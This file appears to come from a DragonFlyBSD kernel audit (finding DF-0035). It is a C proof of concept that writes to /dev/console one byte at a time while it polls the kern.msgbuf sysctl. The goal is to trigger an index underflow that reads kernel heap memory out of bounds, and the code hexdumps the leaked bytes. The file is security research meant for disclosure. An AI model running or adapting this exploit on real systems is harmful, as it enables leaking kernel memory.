DragonFlyBSD Kernel Audit
DF-0035 / msgbuf_brute.c
← back to finding ↓ download raw
/* DF-0035 — brute-force attempt to catch the OOB naturally (post-clear only).
 *
 * Strategy: hold /dev/console open and write ONE byte at a time in a tight
 * loop, doing a sysctl read between each byte.  msg_bufr is already stale
 * (caller did msgbuf_clear at a moment when msg_bufx%msg_size > msg_size/2),
 * so when msg_bufx reaches the next msg_size boundary, branch 3 fires with
 * the underflow.  If we hit it, the read returns > msg_size bytes.
 *
 * This is the "natural" path (no kvm_write).  It tests whether the 1-byte-
 * wide window is catchable by pure timing on a quiet system.
 *
 * Build (root):  cc -O2 -o msgbuf_brute msgbuf_brute.c
 * Run (root):    ./msgbuf_brute   (after a prior clear left msg_bufr stale)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
	unsigned long max_iters = (argc > 1) ? strtoul(argv[1], 0, 0) : 3000000UL;
	int cfd = open("/dev/console", O_WRONLY);
	if (cfd < 0) { perror("open /dev/console"); return 1; }

	size_t oldlen = 1U << 21;   /* 2 MiB */
	char *buf = malloc(oldlen);
	if (!buf) { perror("malloc"); return 1; }

	unsigned long reads = 0, hits = 0;
	char c = 'B';
	for (unsigned long i = 0; i < max_iters; i++) {
		if (write(cfd, &c, 1) != 1) { perror("write"); break; }
		size_t l = oldlen;
		memset(buf, 0x5a, oldlen);
		if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0) continue;
		reads++;
		/* msg_size is ~1048544.  Anything significantly larger is the
		 * underflow (clipped to oldlen). */
		if (l > 1100000) {
			hits++;
			printf("[!] OOB HIT #%lu: read=%zu bytes\n", hits, l);
			size_t bad = 0;
			for (size_t j = 1048544; j < l; j++) {
				unsigned char b = (unsigned char)buf[j];
				if (b != 'B' && b != 'M' && b != 'X' && b != 'D' && b != '\n')
					bad++;
			}
			printf("    %zu bytes past msgbuf, %zu look like heap residue\n",
			    l - 1048544, bad);
			printf("    hexdump [msgbuf+1024 .. +1088]:\n    ");
			for (size_t j = 1048544; j < 1048544 + 64 && j < l; j++)
				printf("%02x", (unsigned char)buf[j]);
			printf("\n");
			if (hits >= 3) break;
		}
	}
	printf("%lu iters, %lu reads, %lu OOB hits\n", max_iters, reads, hits);
	free(buf);
	close(cfd);
	return hits ? 0 : 2;
}